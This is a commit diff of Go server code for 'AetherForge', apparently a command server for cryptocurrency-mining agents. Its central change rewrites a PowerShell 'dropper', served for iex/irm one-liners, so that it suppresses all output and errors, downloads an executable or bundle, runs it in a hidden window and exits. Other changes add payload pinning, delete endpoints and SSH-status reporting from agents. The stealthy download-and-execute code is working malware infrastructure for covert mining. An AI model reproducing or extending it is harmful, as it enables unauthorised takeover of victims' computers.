feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
bt := "`"
|
||||
nl := "\r\n"
|
||||
|
||||
script := "# AetherForge agent installer" + nl +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
|
||||
"$ErrorActionPreference = 'Stop'" + nl +
|
||||
script := "# AetherForge dropper" + nl +
|
||||
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
||||
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
||||
"$url = '" + base + "/get?os=windows'" + nl +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
||||
"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
|
||||
"try {" + nl +
|
||||
" $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
|
||||
" if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
|
||||
"} catch {" + nl +
|
||||
" Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
|
||||
" Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
|
||||
" exit 1" + nl +
|
||||
"}" + nl + nl +
|
||||
"$size = (Get-Item $tmp).Length" + nl +
|
||||
"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
|
||||
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
||||
"} catch { exit 0 }" + nl + nl +
|
||||
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
||||
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
||||
"if ($isZip) {" + nl +
|
||||
" Write-Host '[*] Extracting universal bundle...'" + nl +
|
||||
" $dir = $tmp + '_bundle'" + nl +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
||||
" $bat = $null" + nl +
|
||||
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
|
||||
" $c = Join-Path $dir $name" + nl +
|
||||
" if (Test-Path $c) { $bat = $c; break }" + nl +
|
||||
" }" + nl +
|
||||
" if ($bat) {" + nl +
|
||||
" Write-Host '[*] Running bundle launcher...'" + nl +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
|
||||
" Write-Host '[+] Agent deployed from bundle.'" + nl +
|
||||
" } else {" + nl +
|
||||
" Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
|
||||
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
||||
" }" + nl +
|
||||
"} else {" + nl +
|
||||
" $exe = $tmp + '.exe'" + nl +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
|
||||
" Write-Host '[*] Launching agent...'" + nl +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
|
||||
" Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
|
||||
"}" + nl
|
||||
"}" + nl +
|
||||
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
|
||||
@@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, builds)
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/pin
|
||||
// Pins the specified build as the active dropper target.
|
||||
// Send an empty id or DELETE to a fake pin endpoint to unpin all.
|
||||
func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if err := h.db.SetPinnedBuild(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/builds/pin (unpin all without deleting anything)
|
||||
func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
|
||||
if err := h.db.SetPinnedBuild(""); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/builds/{id}
|
||||
func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if err := h.db.DeleteBuild(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, v interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(v)
|
||||
|
||||
@@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Put("/builds/{id}/pin", h.PinBuild)
|
||||
r.Delete("/builds/pin", h.UnpinAll)
|
||||
r.Delete("/builds/{id}", h.DeleteBuild)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
||||
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
||||
|
||||
@@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
@@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
}),
|
||||
})
|
||||
broadcast := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
}
|
||||
if stats.SSHAvailable != nil {
|
||||
broadcast["ssh_available"] = *stats.SSHAvailable
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
|
||||
@@ -115,6 +115,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
@@ -251,14 +252,16 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
return b, err
|
||||
}
|
||||
|
||||
@@ -276,22 +279,47 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
||||
}
|
||||
|
||||
// GetLatestBuildForPlatform returns the pinned build for the given platform
|
||||
// (or any platform when empty), falling back to the most-recently-created build.
|
||||
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
||||
var query string
|
||||
var args []any
|
||||
if platform == "" || platform == "any" {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
|
||||
} else {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
|
||||
args = []any{platform}
|
||||
// 1. Pinned build for this platform (exact match)
|
||||
if platform != "" && platform != "any" {
|
||||
b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
|
||||
if err == nil {
|
||||
return b, nil
|
||||
}
|
||||
}
|
||||
// 2. Any pinned build (universal or first pinned regardless of platform)
|
||||
b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
|
||||
if err == nil {
|
||||
return b, nil
|
||||
}
|
||||
// 3. Latest by creation time, filtered by platform when given
|
||||
if platform == "" || platform == "any" {
|
||||
b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
|
||||
} else {
|
||||
b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
|
||||
}
|
||||
b, err := scanBuild(d.QueryRow(query, args...))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
||||
// If id is empty, all builds are unpinned.
|
||||
func (d *Database) SetPinnedBuild(id string) error {
|
||||
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if id == "" {
|
||||
return nil
|
||||
}
|
||||
_, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
|
||||
@@ -33,6 +33,9 @@ type Agent struct {
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
}
|
||||
|
||||
// AgentCapabilities reports forge-time features available for remote command.
|
||||
@@ -87,6 +90,7 @@ type BuildRecord struct {
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
|
||||
Reference in New Issue
Block a user